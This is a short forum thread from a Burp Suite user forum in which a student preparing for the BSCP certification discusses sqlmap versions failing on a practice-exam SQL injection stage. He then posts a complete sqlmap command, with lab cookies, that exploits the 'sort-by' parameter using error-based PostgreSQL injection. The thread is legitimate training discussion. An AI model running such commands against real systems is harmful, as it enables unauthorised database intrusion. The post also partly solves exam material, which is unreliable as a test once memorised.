Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Stage 2 of Practice exam with SQLMAP 1.7.2

Juan | Last updated: Mar 20, 2023 05:47AM UTC

I think SQLMAP 1.7.2 on stage 2 is no longer able to solve the blind time delay stage, I did it manually last night and the sqli is exploitable manually. I was able few months back and checked my notes i then used sqlmap 1.6 and it was able to solve the stage in practice exam. other day i took real BSCP exam and got similar SQLi vuln and then did not realize my sqlmap 1.7.2 is broken and failed to solve it. maybe this help other students . thanks again.

Juan | Last updated: Mar 21, 2023 07:02AM UTC

I took BSCP exam , and murphy gave me the SQLi challenge, i downloaded sqlmap 1.6 and tried to exploit what burp scanner also identified as sql injection vulnerability on parameter. but nope. man if this was rabbit hole..... i failed badly. giving up is not option ... i will retake the practice exam again and practice on the sqli in the practice exam. thanks.

Juan | Last updated: Mar 21, 2023 10:25AM UTC

ignore me i am just slow, this sqlmap example on practice exam works:::: sqlmap -u 'https://0afd007004402dacc1e7220100750051.web-security-academy.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net' \ -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \ -H 'accept-language: en-US,en;q=0.9' \ -H 'cookie: _lab=46%7cMCwCFG99UW4vVXFXgM7UOhTa8myZ42yQAhRQafmHIuA2T3xilHMCBlq9TXlPbvjPF%2b40OkJDU98I0WjC4uPB%2bU%2fgBHL7mIFMt0F%2fX74it4AzRloOjeJNme0jyFB1fM1SPgxZ%2f2TsGEJTrvLfCHIMt5baKvXzvSG8PJm5245ykSPG%2fUs%3d; session=SZVd51IZRfnY4SOIyLDcAvsJjFdtOYxx' \ -H 'referer: https://0afd007004402dacc1e7220100750051.web-security-academy.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"' \ -H 'sec-ch-ua-mobile: ?0' \ -H 'sec-ch-ua-platform: "Linux"' \ -H 'sec-fetch-dest: document' \ -H 'sec-fetch-mode: navigate' \ -H 'sec-fetch-site: same-origin' \ -H 'sec-fetch-user: ?1' \ -H 'upgrade-insecure-requests: 1' \ -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' -p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5 Sorry

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.